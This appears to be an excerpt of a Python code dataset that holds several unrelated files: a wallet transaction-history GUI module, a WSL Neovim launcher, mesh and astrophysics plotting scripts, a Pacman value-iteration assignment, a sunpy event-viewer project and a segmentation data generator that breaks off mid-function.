)\t\r\n\t\tself.filter_table.bind_combox_cmd('last',[],  self.update_history_frame )\r\n\t\r\n\t\r\n\tdef update_list(self):\r\n\t\r\n\t\tidb=localdb.DB()\r\n\t\t\r\n\t\t\t\r\n\t\twwhere={}\r\n\t\tllast=self.filter_table.get_value('last')\r\n\t\tif llast=='24h':  \r\n\t\t\twwhere['timestamp']=['>=',str( (datetime.datetime.now()-datetime.timedelta(hours=24) ).timestamp() )]\r\n\t\telif llast=='week':  \r\n\t\t\twwhere['timestamp']=['>=',str( (datetime.datetime.now()-datetime.timedelta(days=7) ).timestamp() )  ]\r\n\t\telif llast=='month':  \r\n\t\t\twwhere['timestamp']=['>=',str( (datetime.datetime.now()-datetime.timedelta(days=31) ).timestamp() ) ]\r\n\t\telif llast=='12 months':  \r\n\t\t\twwhere['timestamp']=['>=',str( (datetime.datetime.now()-datetime.timedelta(days=365) ).timestamp() ) ]\r\n\t\t\r\n\t\tccat=self.filter_table.get_value('category')\r\n\t\trres=self.filter_table.get_value('type')\r\n\t\tcmd=self.filter_table.get_value('status')\r\n\t\tif rres!='All':\r\n\t\t\twwhere['Type']=['=',\"'\"+rres+\"'\"]\r\n\t\tif ccat!='All':\r\n\t\t\twwhere['Category']=['=',\"'\"+ccat+\"'\"]\r\n\t\t\tif ccat=='other':\r\n\t\t\t\twwhere['Category']=[' not in ',\"('send','merge')\"]\r\n\t\tif cmd!='All':\r\n\t\t\twwhere['status']=['=',\"'\"+cmd+\"'\"]\r\n\t\t\r\n\t\t\r\n\t\ttask_done=idb.select('tx_history', ['Category','Type','status','txid','block','date_time','from_str','to_str','amount','uid'],where=wwhere,orderby=[{'block':'desc'},{'Type':'asc'},{'timestamp':'desc'}])\r\n\t\t\r\n\t\tfor ij,rr in enumerate(task_done):\r\n\t\t\ttmpdict={}\r\n\t\t\tsstyle={'bgc':'green','fgc':'#fff'}\r\n\t\t\tif 'sent' in rr[2].lower() or 'received' in rr[2].lower():\r\n\t\t\t\tsstyle={'bgc':'blue','fgc':'#fff'}\r\n\t\t\t\t\t\t\t\r\n\t\t\tvisible=True\r\n\t\t\r\n\t\t\ttmpdict[rr[9]]=[{'T':'LabelV', 'L':rr[0], 'uid':'cat'+str(rr[9]), 'visible':visible } , \r\n\t\t\t\t\t\t\t{'T':'LabelV', 'L':rr[1], 'uid':'type'+str(rr[9]) , 'visible':visible} , \r\n\t\t\t\t\t\t\t{'T':'LabelV', 'L':rr[2], 'uid':'stat'+str(rr[9]) , 'visible':visible, 'style':sstyle} , \r\n\t\t\t\t\t\t\t{'T':'LabelV', 'L':str(rr[4]), 'uid':'block'+str(rr[9]), 'visible':visible  } ,\r\n\t\t\t\t\t\t\t{'T':'LabelV', 'L': rr[5]  , 'uid':'ts'+str(rr[9]) , 'visible':visible} , \r\n\t\t\t\t\t\t\t{'T':'LabelV', 'L':str(rr[8]), 'uid':'am'+str(rr[9]) , 'visible':visible} , \r\n\t\t\t\t\t\t\t{'T':'InputL', 'L':rr[6], 'uid':'from'+str(rr[9]), 'visible':visible, 'width':24} , \r\n\t\t\t\t\t\t\t{'T':'InputL', 'L':rr[7], 'uid':'to'+str(rr[9]) , 'visible':visible, 'width':24} , \r\n\t\t\t\t\t\t\t{'T':'InputL', 'L': rr[3] , 'uid':'txid'+str(rr[9]) , 'visible':visible, 'width':6} \r\n\t\t\t\t\t\t\t]\t\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\r\n\t\t\tself.grid_settings.append(tmpdict)\r\n\t\t\t","sub_path":"modules/tx_history.py","file_name":"tx_history.py","file_ext":"py","file_size_in_byte":4831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"490744344","text":"#!python3\r\n\"\"\"\r\nStart neovim server inside WSL then run neovim client (nvim-qt) in Windows.\r\nRequirements:\r\n    - Windows Subsystem Linux 2\r\n    - Neovim inside WSL (install plugins, customizations, etc. in WSL-side)\r\n    - nvim-qt inside Windows (bundled with `choco install neovim`)\r\n    - Python3.6 or later inside Windows to run this script\r\n    - Correct PATH variables on Windows\r\n        - Must be able to find \"wsl\", \"nvim\" and \"nvim-qt\"\r\n\"\"\"\r\n\r\nimport subprocess\r\nimport socket\r\nimport random\r\nfrom concurrent import futures\r\n\r\ndef findFreePort() -> int:\r\n    host: str = \"localhost\"\r\n    port: int = 7777\r\n    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\r\n        is_available: bool = s.connect_ex((host, port)) != 0\r\n        while is_available is False:\r\n            port = random.randint(10000, 60000)\r\n            is_available = s.connect_ex((host, port)) != 0\r\n    return port\r\n\r\n\r\ndef startNeovimInWSL(port: int = 7777) -> subprocess.Popen:\r\n    \"\"\"\r\n    Start neovim server in WSL.\r\n    \"\"\"\r\n    host: str = \"localhost:{}\".format(port)\r\n    return subprocess.Popen([\"wsl.exe\", \"nvim\", \"--headless\", \"--listen\", host])\r\n\r\ndef startNeovimClient(port: int = 7777) -> subprocess.Popen:\r\n    \"\"\"\r\n    Start neovim client in Windows, then kill all nvim process in WSL when\r\n    client finished.\r\n    \"\"\"\r\n    host: str = \"localhost:{}\".format(port)\r\n    return subprocess.Popen([\"nvim-qt.exe\", \"--server\", host])\r\n\r\ndef main():\r\n    print(\"Finding free port...\")\r\n    port: int = findFreePort()\r\n    print(\"Starting neovim server in port {}\".format(port))\r\n    serverProc = startNeovimInWSL(port)\r\n    print(\"Starting neovim client...\")\r\n    clientProc = startNeovimClient(port)\r\n    with futures.ThreadPoolExecutor() as executor:\r\n        serverFut: futures.Future = executor.submit(serverProc.wait)\r\n        clientFut: futures.Future = executor.submit(clientProc.wait)\r\n        serverFut.add_done_callback(lambda done: clientProc.terminate())\r\n        clientFut.add_done_callback(lambda done: serverProc.terminate())\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n\r\n","sub_path":"wsl-run-nvim.py","file_name":"wsl-run-nvim.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"651603006","text":"# An example of a 2D tensor mesh is shown below. Here we use a list of tuple to\n# define the discretization along the x-axis and a numpy array to define the\n# discretization along the y-axis. We also use a string argument to center the\n# x-axis about x = 0 and set the top of the mesh to y = 0.\n\nfrom discretize import TensorMesh\nimport matplotlib.pyplot as plt\n\nncx = 10      # number of core mesh cells in x\ndx = 5        # base cell width x\nnpad_x = 3    # number of padding cells in x\nexp_x = 1.25  # expansion rate of padding cells in x\nncy = 24      # total number of mesh cells in y\ndy = 5        # base cell width y\n\nhx = [(dx, npad_x, -exp_x), (dx, ncx), (dx, npad_x, exp_x)]\nhy = dy * np.ones(ncy)\nmesh = TensorMesh([hx, hy], origin='CN')\n\nfig = plt.figure(figsize=(5,5))\nax = fig.add_subplot(111)\nmesh.plot_grid(ax=ax)\nplt.show()\n","sub_path":"html/api/generated/discretize-TensorMesh-1.py","file_name":"discretize-TensorMesh-1.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"158615546","text":"# valueIterationAgents.py\n# -----------------------\n# Licensing Information:  You are free to use or extend these projects for \n# educational purposes provided that (1) you do not distribute or publish \n# solutions, (2) you retain this notice, and (3) you provide clear \n# attribution to UC Berkeley, including a link to \n# http://inst.eecs.berkeley.edu/~cs188/pacman/pacman.html\n# \n# Attribution Information: The Pacman AI projects were developed at UC Berkeley.\n# The core projects and autograders were primarily created by John DeNero \n# (denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu).\n# Student side autograding was added by Brad Miller, Nick Hay, and \n# Pieter Abbeel (pabbeel@cs.berkeley.edu).\n\n\nimport mdp, util\n\nfrom learningAgents import ValueEstimationAgent\n\nclass ValueIterationAgent(ValueEstimationAgent):\n    \"\"\"\n        * Please read learningAgents.py before reading this.*\n\n        A ValueIterationAgent takes a Markov decision process\n        (see mdp.py) on initialization and runs value iteration\n        for a given number of iterations using the supplied\n        discount factor.\n    \"\"\"\n    def __init__(self, mdp, discount = 0.9, iterations = 100):\n        \"\"\"\n          Your value iteration agent should take an mdp on\n          construction, run the indicated number of iterations\n          and then act according to the resulting policy.\n\n          Some useful mdp methods you will use:\n              mdp.getStates()\n              mdp.getPossibleActions(state)\n              mdp.getTransitionStatesAndProbs(state, action)\n              mdp.getReward(state, action, nextState)\n              mdp.isTerminal(state)\n        \"\"\"\n        self.mdp = mdp\n        self.discount = discount\n        self.iterations = iterations\n        self.values = util.Counter() # A Counter is a dict with default 0\n\n        # Write value iteration code here\n        \"*** YOUR CODE HERE ***\"\n        #run value iteration for the given number of iterations\n        for i in range(iterations):\n          #get the currentvalues from the counter\n          currentvalues = util.Counter()\n          # calculate values for each state\n          for state in self.mdp.getStates():\n            #initialized to none to handle the case when the state has no actions\n            currentvalue = None\n            # calculate values for each action from a state\n            for action in self.mdp.getPossibleActions(state):\n              qvalue = self.computeQValueFromValues(state,action)\n              if qvalue > currentvalue or currentvalue==None :\n                currentvalue = qvalue\n            # if the state has no actions then don't give any positive or negative reward\n            if currentvalue == None:\n              currentvalue = 0\n            currentvalues[state] = currentvalue\n          self.values = currentvalues\n\n\n\n    def getValue(self, state):\n        \"\"\"\n          Return the value of the state (computed in __init__).\n        \"\"\"\n        return self.values[state]\n\n\n    def computeQValueFromValues(self, state, action):\n        \"\"\"\n          Compute the Q-value of action in state from the\n          value function stored in self.values.\n        \"\"\"\n        \"*** YOUR CODE HERE ***\"\n        qvalue = 0\n        # calculate q-value for the chance node, iterate over all transition states from the chance node\n        for next_state, prob in self.mdp.getTransitionStatesAndProbs(state,action):\n            qvalue= qvalue + prob * (self.mdp.getReward(state, action, next_state) + (self.discount * self.values[next_state]))\n\n        return qvalue\n        util.raiseNotDefined()\n\n    def computeActionFromValues(self, state):\n        \"\"\"\n          The policy is the best action in the given state\n          according to the values currently stored in self.values.\n\n          You may break ties any way you see fit.  Note that if\n          there are no legal actions, which is the case at the\n          terminal state, you should return None.\n        \"\"\"\n        \"*** YOUR CODE HERE ***\"\n        value = None\n        bestaction = None\n        # in terminal state return action none\n        if len(self.mdp.getPossibleActions(state)) == 0:\n            return None\n        # iterate over all possible actions to find the best action\n        for action in self.mdp.getPossibleActions(state):\n            qvalue = self.computeQValueFromValues(state, action)\n            # find the max currentvalue and return the action for the max value as the best action\n            if qvalue > value or value == None:\n                value = qvalue\n                bestaction = action\n\n        return bestaction\n        util.raiseNotDefined()\n\n    def getPolicy(self, state):\n        return self.computeActionFromValues(state)\n\n    def getAction(self, state):\n        \"Returns the policy at the state (no exploration).\"\n        return self.computeActionFromValues(state)\n\n    def getQValue(self, state, action):\n        return self.computeQValueFromValues(state, action)\n","sub_path":"pa3/valueIterationAgents.py","file_name":"valueIterationAgents.py","file_ext":"py","file_size_in_byte":4974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"133208213","text":"# slc_prj.py\n\nimport os\nimport os.path as osp\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import Normalize, LogNorm\nimport astropy.units as au\nimport astropy.constants as ac\n\nfrom ..load_sim import LoadSim\nfrom ..io.read_starpar_vtk import read_starpar_vtk\nfrom ..plt_tools.cmap_shift import cmap_shift\nfrom ..classic.plot_tools.scatter_sp import scatter_sp\nfrom ..classic.utils import texteffect\n\nclass SliceProj:\n\n    @staticmethod\n    def get_extent(domain):\n\n        r = dict()\n        r['x'] = (domain['le'][1], domain['re'][1],\n                  domain['le'][2], domain['re'][2])\n        r['y'] = (domain['le'][0], domain['re'][0],\n                  domain['le'][2], domain['re'][2])\n        r['z'] = (domain['le'][0], domain['re'][0],\n                  domain['le'][1], domain['re'][1])\n        \n        return r\n    \n    @LoadSim.Decorators.check_pickle\n    def read_slc(self, num, axes=['x', 'y', 'z'],\n                 fields=['nH', 'nH2', 'nHI', 'nHII', 'T', 'nHn', 'pok',\n                         'chi_FUV', 'Erad_FUV', 'Erad_LyC'],\n                 prefix='slc', savdir=None, force_override=False):\n\n        if self.par['radps']['irayt'] == 0:\n            try:\n                fields.remove('Erad_FUV')\n                fields.remove('Erad_LyC')\n                fields.remove('chi_FUV')\n            except ValueError:\n                pass\n        \n        axes = np.atleast_1d(axes)\n        ds = self.load_vtk(num=num)\n        res = dict()\n        res['extent'] = self.get_extent(ds.domain)\n        res['time'] = ds.domain['time']\n\n        for ax in axes:\n            dat = ds.get_slice(ax, fields, pos='c', method='nearest')\n            res[ax] = dict()\n            for f in fields:\n                # if 'velocity' in f:\n                #     for k in ('3',):\n                #         res[ax][f+k] = dat[f+k].data\n                # else:\n                res[ax][f] = dat[f].data\n\n        return res\n\n    @LoadSim.Decorators.check_pickle\n    def read_prj(self, num, axes=['x', 'y', 'z'],\n                 fields=['density', 'xHI', 'xH2', 'xHII', 'nesq'],\n                 prefix='prj',\n                 savdir=None, force_override=False):\n\n        axtoi = dict(x=0, y=1, z=2)\n        axes = np.atleast_1d(axes)\n\n        ds = self.load_vtk(num=num)\n        dat = ds.get_field(fields, as_xarray=True)\n        res = dict()\n        res['extent'] = self.get_extent(ds.domain)\n        res['time'] = ds.domain['time']\n        \n        for ax in axes:\n            i = axtoi[ax]\n            dx = ds.domain['dx'][i]*self.u.length\n            conv_Sigma = (dx*self.u.muH*ac.u.cgs/au.cm**3).to('Msun/pc**2')\n            conv_EM = (dx*au.cm**-6).to('pc cm-6')\n            \n            res[ax] = dict()\n            res[ax]['Sigma'] = (np.sum(dat['density'], axis=2-i)*conv_Sigma).data\n            if 'xH2' in fields:\n                res[ax]['Sigma_H2'] = (np.sum(2.0*dat['density']*dat['xH2'],\n                                              axis=2-i)*conv_Sigma).data\n            if 'xHI' in fields:\n                res[ax]['Sigma_HI'] = (np.sum(dat['density']*dat['xHI'],\n                                              axis=2-i)*conv_Sigma).data\n            if 'xHII' in fields:\n                res[ax]['Sigma_HII'] = (np.sum(dat['density']*dat['xHII'],\n                                               axis=2-i)*conv_Sigma).data\n            if 'nesq' in fields:\n                res[ax]['EM'] = (np.sum(dat['nesq'], axis=2-i)*conv_EM).data\n\n            if 'specific_scalar[1]' in fields:\n                res[ax]['Sigma_scalar1'] = (np.sum(dat['density']*dat['specific_scalar[1]'],\n                                                   axis=2-i)*conv_Sigma).data\n            if 'specific_scalar[2]' in fields:\n                res[ax]['Sigma_scalar2'] = (np.sum(dat['density']*dat['specific_scalar[2]'],\n                                                   axis=2-i)*conv_Sigma).data\n                \n\n        return res\n\n    @staticmethod\n    def plt_imshow(ax, dat, dim='z', field='Sigma', cmap='viridis',\n                   norm=mpl.colors.LogNorm()):\n        im = ax.imshow(dat[dim][field], cmap=cmap, extent=dat['extent'][dim],\n                       norm=norm, origin='lower', interpolation='none')\n        return im\n    \n    def plt_snapshot(self, num, savefig=True):\n        \n        d = self.read_prj(num, force_override=False)\n        sp = self.load_starpar_vtk(num)\n        nr = 3\n        nc = 4\n        fig, axes = plt.subplots(nr, nc, figsize=(16, 12.5), # constrained_layout=True,\n                                 gridspec_kw=dict(hspace=0.0, wspace=0.0))\n\n        M0 = self.par['problem']['M_cloud']\n        R0 = self.par['problem']['R_cloud']\n        S0 = M0/(np.pi*R0**2)\n        norm = LogNorm(1e-1,1e3*(S0/1e2))\n        norm_EM = LogNorm(3e1,3e5*(S0/1e2))\n        im1 = []\n        im2 = []\n        im3 = []\n        im4 = []\n        for i, axis in enumerate(('x','y','z')):\n            extent = d['extent'][axis]\n            im1.append(axes[i, 0].imshow(d[axis]['Sigma'], norm=norm,\n                                         extent=extent, origin='lower'))\n            im2.append(axes[i, 1].imshow(d[axis]['Sigma_H2'], norm=norm,\n                                         extent=extent, origin='lower'))\n            im3.append(axes[i, 2].imshow(d[axis]['Sigma_HI'], norm=norm,\n                                         extent=extent, origin='lower'))\n            im4.append(axes[i, 3].imshow(d[axis]['EM'], norm=norm_EM,\n                                         extent=extent, origin='lower', cmap='plasma'))\n\n            # Overplot starpar\n            if not sp.empty:\n                scatter_sp(sp, axes[i, 0], axis=axis, type='proj', kpc=False,\n                           norm_factor=4.0, agemax=10.0)\n                scatter_sp(sp, axes[i, 3], axis=axis, type='proj', kpc=False,\n                           norm_factor=4.0, agemax=10.0)\n\n        for ax in axes.flatten():\n            plt.axis('on')\n            ax.set_xticklabels([])\n            ax.set_xticks([])\n            ax.set_yticks([])\n            ax.set_aspect('equal')\n\n        # Add colorbars\n        labels = [r'$\\Sigma_{\\rm gas}\\;[{M_{\\odot}\\,{\\rm pc}^{-2}}]$',\n                  r'$\\Sigma_{\\rm H_2}\\;[{M_{\\odot}\\,{\\rm pc}^{-2}}]$',\n                  r'$\\Sigma_{\\rm H\\,I}\\;[{M_{\\odot}\\,{\\rm pc}^{-2}}]$',\n                  r'${\\rm EM}\\;[{\\rm pc}\\,{\\rm cm}^{-6}]$']\n        \n        for j,im,label in zip(range(nc),(im1,im2,im3,im4),labels):\n            bbox_ax_top = axes[0,j].get_position()\n            cax = fig.add_axes([bbox_ax_top.x0+0.01, bbox_ax_top.y1+0.01,\n                                bbox_ax_top.x1-bbox_ax_top.x0-0.02, 0.015])\n            cbar = plt.colorbar(im[0], cax=cax, orientation='horizontal')\n            cbar.set_label(label=label, fontsize='small')\n            cbar.ax.xaxis.set_ticks_position('top')\n            cbar.ax.xaxis.set_label_position('top')\n            cbar_yticks = plt.getp(cbar.ax.axes, 'xticklabels')\n            plt.setp(cbar_yticks, color='k', fontsize='x-small')\n            #cbar.ax.set_yticks(arange(vmin, vmax, 2), size='small')\n\n        plt.subplots_adjust(wspace=None, hspace=None)\n        plt.suptitle(self.basename + '  t={0:4.1f}'.format(sp.time))\n        \n        if savefig:\n            savdir = osp.join(self.savdir, 'snapshots')\n            # savdir = osp.join('/tigress/jk11/figures/GMC', self.basename, 'snapshots')\n            if not osp.exists(savdir):\n                os.makedirs(savdir)\n\n            savname = osp.join(savdir, '{0:s}_{1:04d}.png'.format(self.basename, num))\n            plt.savefig(savname, dpi=200, bbox_inches='tight')\n            \n        return fig            \n","sub_path":"pyathena/feedback_test/slc_prj.py","file_name":"slc_prj.py","file_ext":"py","file_size_in_byte":7669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"98463447","text":"#!/usr/bin/env python3\n\n#129L Final Project FINAL -- program to plot full size and zoomed in view of region of interest\n\n##Required Imports\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom matplotlib import patches\nimport matplotlib.colors as colors\nimport astropy.units as u\nfrom astropy.io import fits\nimport sunpy\nimport sunpy.map\nimport sunpy.cm\nfrom sunpy.net import hek\nfrom sunpy.net.helioviewer import HelioviewerClient\nfrom PIL import Image\nimport numpy as np\nimport re\nimport sys\nimport os\nimport pprint\n\n##Section 1 -- setting up user-determined server request for Heliophysics Event Knowledgebase -- has the user input time interval to search within and type of solar event. Program returns start/end times for first matching event found, as well as Helioprojective x and y coordinates for later use in plotting. \n\nclient = hek.HEKClient()\n\nprint('Select a time interval to search for solar events \\n')\n\nwhile True:\n\tt0 = input('Insert a start time in the form YYYY/MM/DD: ')\n\tif re.match('^[1-2]{1}[0,1,9]{1}[0-9]{2}/[0-9]{2}/[0-9]{2}$', t0):\n\t\tbreak\n\telse:\n\t\tprint('\\nStart date was not in the specified form or is invalid, try again \\n')\n\nwhile True:\n\ttf = input('Insert an end time in the form YYYY/MM/DD: ')\n\tif re.match('^[1-2]{1}[0,1,9]{1}[0-9]{2}/[0-9]{2}/[0-9]{2}$', tf):\n\t\tbreak\n\telse:\n\t\tprint('\\nEnd date was not in the specified form or is invalid, try again \\n')\n\n#dictionary of visible events\neventdict= {}\neventdict['CME'] = 'CE'\neventdict['sunspot'] = 'SS'\neventdict['active region'] = 'AR'\neventdict['flare'] = 'FL'\neventdict['coronal hole'] = 'CH'\neventdict['coronal jet'] = 'CJ'\neventdict['coronal cavity'] = 'CC'\neventdict['eruption'] = 'ER'\neventdict['filament eruption'] = 'FE'\neventdict.keys()\n\nwhile True:\n\tinstr = None\n\twhile instr not in {'CME', 'sunspot', 'active region', 'flare', 'coronal hole', 'coronal jet', 'coronal cavity', 'eruption', 'filament eruption'}:\n\t\tprint('Please select a solar event from the list: CME, sunspot, active region, flare, coronal hole, coronal jet, coronal cavity, eruption, or filament eruption.')\n\t\tinstr = input('Input a selection: ')\n\n\tevent_type = eventdict[instr]\n\n\tdata = client.query(hek.attrs.Time(t0, tf), hek.attrs.EventType(event_type))\n\n\tx = np.array([elem['hpc_x'] for elem in data])\n\ty = np.array([elem['hpc_y'] for elem in data])\n\ttstart = [elem['event_starttime'] for elem in data]\n\ttend = [elem['event_endtime'] for elem in data]\n\ttime = list(tuple(zip(tstart, tend)))\n\ttry:\n\t\tt = time[0]\n\texcept IndexError:\n\t\tprint('Your search returned 0 results, please select another event')\n\telse:\n\t\tbreak\n\nprint('Time span of event closest to start of selected interval: ', time[0])\n\n##Section2 -- setting up server request to Helioviewer.org that returns image of the sun nearest to requested event start time. User chooses which data source (instrument/detector) to obtain image from using the source ID. Each source has a unique imaging wavelength.\n\ntimex = time[0][0]\nsearchtime = timex[:timex.find('T')]\ndate = searchtime.replace('-', '/')\n\nhv = HelioviewerClient()\n\nprint('List of Observatories: [sourceID]:\\n SDO HMI Mag: 19 \\n SDO HMI Int: 18 \\n SDO AIA 4500: 17 \\n SDO AIA 94: 8 \\n SDO AIA 131: 9 \\n SDO AIA 335: 14 \\n SDO AIA 171: 10 \\n SDO AIA 304: 13 \\n SDO AIA 1600: 15 \\n SDO AIA 211: 12 \\n SDO AIA 1700: 16 \\n SDO AIA 193: 11 \\n STEREO_B COR2-B: 31 \\n STEREO_B EUVI-B 304: 27 \\n STEREO_B EUVI-B 284: 26 \\n STEREO_B EUVI-B 195: 25 \\n STEREO_B EUVI-B 171: 24 \\n STEREO_B COR1-B: 30 \\n Yohkoh SXT white-light: 35 \\n Yohkoh SXT thin-Al: 34 \\n Yohkoh SXT AlMgMn: 33 \\n SOHO MDI Mag: 6 \\n SOHO MDI Int: 7 \\n SOHO LASCO C3: 5 \\n SOHO LASCO C2: 4 \\n SOHO EIT 304: 3 \\n SOHO EIT 284: 2 \\n SOHO EIT 195: 1 \\n SOHO EIT 171: 0 \\n PROBA2 SWAP 174: 32 \\n STEREO_A COR2-A: 29 \\n STEREO_A EUVI-A 304: 23 \\n STEREO_A EUVI-A 284: 22 \\n STEREO_A EUVI-A 195: 21 \\n STEREO_A EUVI-A 171: 20 \\n STEREO_A COR1-A: 28')\n\nid_list = ['19', '18', '17', '8', '9', '14', '10', '13', '15', '12', '16', '11', '31', '27', '26', '25', '24', '30', '35', '34', '33', '6', '7', '5', '4', '3', '2', '1', '0', '32', '29', '23', '22', '21', '20', '28']\n\nsource = None\nwhile source not in id_list:\n\tsource = input('Please input an available numerical data source ID: ')\n\nSRCID = int(source)\n\ncmap_list = ['sohoeit304', 'soholasco3', 'irissji5000', 'yohkohsxtal', 'sohoeit171', 'hinodexrt', 'irissjiSJI_NUV', 'sdoaia94', 'irissji1400', 'rhessi', 'irissjiFUV', 'sdoaia1700', 'stereocor2', 'irissji1600', 'irissjiNUV', 'sdoaia131', 'traceWL', 'trace1600', 'sdoaia335', 'trace1700', 'trace171', 'irissji2832', 'sdoaia171', 'sohoeit284', 'soholasco2', 'irissji1330', 'trace284', 'hmimag', 'stereohi2', 'hinodesotintensity', 'trace1216', 'stereocor1', 'sdoaia304', 'sdoaia193', 'sdoaia211', 'sdoaia4500', 'trace1550', 'trace195', 'stereohi1', 'yohkohsxtwh', 'irissji2796', 'sdoaia1600', 'sohoeit195']\n\nprint('List of available color maps: ')\npprint.pprint(cmap_list)\ncolor = None\nwhile color not in cmap_list:\n\tcolor = input('Select a color map to display: ')\n\ncmap = plt.get_cmap(color)\n\nimgfile = hv.download_png(date, 6.0, [SRCID, 5.0, 100.0], x0=0, y0=0, width=512, height=512)\n\n##Section 3 -- PNG image downloaded from Helioviewer is processed using Pillow. The image is first converted to a JPG file, then split into RGB components. From these component files, a FITS image is compiled that sunpy.maps can readily use for plotting.\n\nim = Image.open(imgfile)\nimRGB = im.convert('RGB')\nimRGB.save('im.jpg')\nimage = Image.open('im.jpg')\nxsize, ysize = image.size\nr,g,b = image.split()\nr_data = np.array(r.getdata())\ng_data = np.array(g.getdata())\nb_data = np.array(b.getdata())\n\nr_data = r_data.reshape(ysize, xsize)\ng_data = g_data.reshape(ysize, xsize)\nb_data = b_data.reshape(ysize, xsize)\n\nred = fits.PrimaryHDU(data=r_data)\nred.writeto('red.fits')\ngreen = fits.PrimaryHDU(data=g_data)\ngreen.writeto('green.fits')\nblue = fits.PrimaryHDU(data=b_data)\nblue.writeto('blue.fits')\n\nimg_list = ['red.fits', 'green.fits', 'blue.fits']\nimg_concat = []\n\nfor i in img_list:\n\timg_concat.append(fits.getdata(i))\n\t\nimg_final = np.flip(np.sum(img_concat, axis=0), axis=0)\nimfinal = fits.PrimaryHDU(data=img_final)\nimfinal.writeto('im.fits') \n\n##Section 4 -- Main section of the program. The sunpy map module reads the FITS file for plotting. The region of interest is defined by the HPC coordinates given by the HEK requested data and a subplot within the figure is created.\n\nsmap = sunpy.map.Map('im.fits')\n\n#defines region of interest based on returned event coordinates\nl = 60*u.arcsec\nx0 = (x[0]/12)*u.arcsec\ny0 = (y[0]/12)*u.arcsec\n\n#initialize subpmap of zoomed region\nsubmap = smap.submap(u.Quantity([x0-l, x0+l]), u.Quantity([y0-l, y0+l]))\n\nfig = plt.figure(figsize=(5,12))\nax1 = fig.add_subplot(2,1,1, projection=smap)\nsmap.plot(cmap=cmap)\nsmap.draw_limb() #ensures solar limb is included\n\nbttmleft = u.Quantity([x0-l, y0-l]) #defines area of zoomed region\nl2 = l*2\nsmap.draw_rectangle(bttmleft, l2, l2) #places rectangle of size of zoomed region on original image\n\nax2 = fig.add_subplot(2,1,2, projection=submap)\nsubmap.plot(cmap=cmap)\nax2.set_title('Zoomed Image of Region of Interest')\n\n#clips out brightest pixels for better viewing\nnorm = colors.Normalize(vmin=smap.min(), vmax=smap.mean() + 3*smap.std())\n\n#Remove created files for program reuse\nos.remove('red.fits')\nos.remove('blue.fits')\nos.remove('green.fits')\nos.remove('im.jpg')\nos.remove('im.fits')\n\n#Plot map and submap with colorbar\nplt.colorbar()\nplt.show()\n\n","sub_path":"FINALPROGRAM.py","file_name":"FINALPROGRAM.py","file_ext":"py","file_size_in_byte":7485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"127023205","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport os, glob, time\nimport random\nimport numpy as np\nimport cv2\nfrom PIL import Image\nfrom sklearn.utils import class_weight\nfrom tensorflow.keras.utils import Sequence\n\nfrom common.data_utils import random_horizontal_flip, random_vertical_flip, random_brightness, random_grayscale, random_chroma, random_contrast, random_sharpness, random_blur, random_zoom_rotate, random_crop, random_histeq\n\n\nclass SegmentationGenerator(Sequence):\n    def __init__(self, dataset_path, data_list,\n                 batch_size=1,\n                 num_classes=21,\n                 target_size=(512, 512),\n                 weighted_type=None,\n                 is_eval=False,\n                 augment=True):\n        # get real path for dataset\n        dataset_realpath = os.path.realpath(dataset_path)\n        self.image_path_list = [os.path.join(dataset_realpath, 'images', image_id.strip()+'.jpg') for image_id in data_list]\n        self.label_path_list = [os.path.join(dataset_realpath, 'labels', image_id.strip()+'.png') for image_id in data_list]\n        # initialize random seed\n        np.random.seed(int(time.time()))\n\n        self.num_classes = num_classes\n        self.batch_size = batch_size\n        self.target_size = target_size\n        self.weighted_type = weighted_type\n        self.augment = augment\n        self.is_eval = is_eval\n\n        # Preallocate memory\n        self.X = np.zeros((batch_size, target_size[1], target_size[0], 3), dtype='float32')\n        self.Y = np.zeros((batch_size, target_size[1]*target_size[0], 1), dtype='float32')\n        self.PIXEL_WEIGHTS = np.zeros((batch_size, target_size[1]*target_size[0]), dtype='float32')\n\n    def get_batch_image_path(self, i):\n        return self.image_path_list[i*self.batch_size:(i+1)*self.batch_size]\n\n    def get_batch_label_path(self, i):\n        return self.label_path_list[i*self.batch_size:(i+1)*self.batch_size]\n\n    def get_weighted_type(self):\n        return self.weighted_type\n\n    def __len__(self):\n        return len(self.image_path_list) // self.batch_size\n\n    def __getitem__(self, i):\n\n        for n, (image_path, label_path) in enumerate(zip(self.image_path_list[i*self.batch_size:(i+1)*self.batch_size],\n                                                        self.label_path_list[i*self.batch_size:(i+1)*self.batch_size])):\n\n            # Load image and label array\n            image = cv2.imread(image_path, cv2.IMREAD_COLOR) # cv2.IMREAD_COLOR/cv2.IMREAD_GRAYSCALE/cv2.IMREAD_UNCHANGED\n            label = np.array(Image.open(label_path))\n\n            # we reset all the invalid label value as 0(background) in training,\n            # but as 255(invalid) in eval\n            if self.is_eval:\n                label[label>(self.num_classes-1)] = 255\n            else:\n                label[label>(self.num_classes-1)] = 0\n\n            # Do augmentation\n            if self.augment:\n                # random horizontal flip image\n                image, label = random_horizontal_flip(image, label)\n\n                # random vertical flip image\n                image, label = random_vertical_flip(image, label)\n\n                # random zoom & rotate image\n                image, label = random_zoom_rotate(image, label)\n\n                # random adjust brightness\n                image = random_brightness(image)\n\n                # random adjust color level\n                image = random_chroma(image)\n\n                # random adjust contrast\n                image = random_contrast(image)\n\n                # random adjust sharpness\n                image = random_sharpness(image)\n\n                # random convert image to grayscale\n                image = random_grayscale(image)\n\n                # random do gaussian blur to image\n                image = random_blur(image)\n\n                # random crop image & label\n                image, label = random_crop(image, label, self.target_size)\n\n                # random do histogram equalization using CLAHE\n                image = 